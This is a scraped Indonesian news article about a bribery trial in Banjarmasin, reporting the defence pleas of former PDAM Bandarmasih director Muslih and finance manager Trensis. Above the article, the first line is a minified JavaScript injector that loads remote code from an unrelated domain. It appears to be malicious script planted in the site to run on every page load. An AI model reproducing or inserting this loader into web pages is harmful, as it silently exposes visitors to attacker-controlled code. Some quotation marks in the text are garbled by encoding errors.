(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Ada yang menarik saat pembacaan pledoi mantan Dirut PDAM Bandarmasih Muslih, dalam sidang kasus suap di PN Tipikor Banjarmasin, Selasa (16/1) lalu. Di hadapan majelis hakim yang dipimpin Sihar Simanongan Purba, dia mengakui telah khilaf melakukan suap.
“Saya akui saya khilaf setelah ada paksaan itu. Padahal niat saya melakukan pembenahan air bersih di Kota Banjarmasin,†katanya dengan suara terbata-bata.
Kepada majelis hakim, Muslih mengatakan, paksaan tersebut berasal dari mantan Ketua DPRD Banjarmasin Iwan Rusmali dan Andi Effendi. Ia mengaku terus menerus ditelepon oleh keduanya agar menyiapkan dana untuk memuluskan Perda tersebut.
Bahkan Muslih mengaku sempat tak mengangkat tekepon dari Iwan Rusmali dan Andi Effendi. Tapi desakan dua orang tersebut cukup kuat, hingga keduanya datang ke rumahnya.
“Kejadian semua ini atas paksaan Iwan Rusmali dan Andi Effendi. Saya tak ada niat sedikit pun untuk memberi suap agar Raperda pernyataan modal berjalan lancar,” ungkapnya.
Dan, akhirnya Muslih pun luluh, karena sadar jika PDAM Bandarmasih masih perlu banyak pembenahan. Pada akhir pledoi, dia pun berpesan khusus kepada majelis hakim, bahwa uang pesangon dan sisa gaji dirinya sebelum pengunduran diri pada 9 November 2017 lalu yang nilainya jika di total hampir Rp 1 miliar, akan dinafkahkan untuk fakir miskin dan PDAM.
“Manajemen PDAM bisa menggunakan sisa gaji atau pesangon saya untuk membantu masyarakat miskin dan sebagainya. Sebab gara-gara sya, PDAM tidak dapat lagi penyertaan modal akibat kasus ini, jadi inilah yang bisa saya bantu dan mengikhlaskan semua hak saya untuk diinfakkan,” ujarnya.
Di sisi lain, Muslih juga menyampaikan permintaan maafnya kepada keluaga Trensis yang turut terseret di kasus ini. Dituturkannya sebagai anak buah, Trensis hanya menjalankan perintah dari atasan. “Saya sangat menyesal. Saya minta maaf kepada keluarga Trensis,†ucapnya.
Sementara itu, Trensis yang juga membacakan pembelaannya mengatakan perbuatan dirinya semata atas perintah Muslih sebagai atasan. “Saya memohon kepada ketua majelis hakim untuk meringankan tuntutan hukuman saya,†tutur Trensis. Mantan manajer keuangan PDAM Bandarmasih ini dituntut penjara 1 tahun 6 bulan dan denda Rp 50 juta subsider 2 bulan kurungan.
Sedangkan Muslih, dituntut pidana selama 2 tahun penjara dikurangi masa tahanan, dan denda Rp 50 juta subsider 2 bulan kurungan. Melalui nota pembelaannya kemarin, dirinya memohon dengan besar hati hakim meringankan hukumannya.
Sidang lanjutan dengan agenda putusan hakim, dijadwalkan tanggal 30 Januari 2018. Muslih dan Trensis ditangkap KPK melalui operasi tangkap tangan (OTT) pada 14 Oktober 2017. Mereka terjerat dalam kasus suap Raperda Penyertaan modal untuk Perusahaan Daerah Air Minum (PDAM) Bandarmasih.  Selain itu, KPK juga menangkap Ketua DPRD Iwan Rusmali dan Ketua Pansus Andi Effendi.(ammar)
KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More
KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More
KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More
This website uses cookies.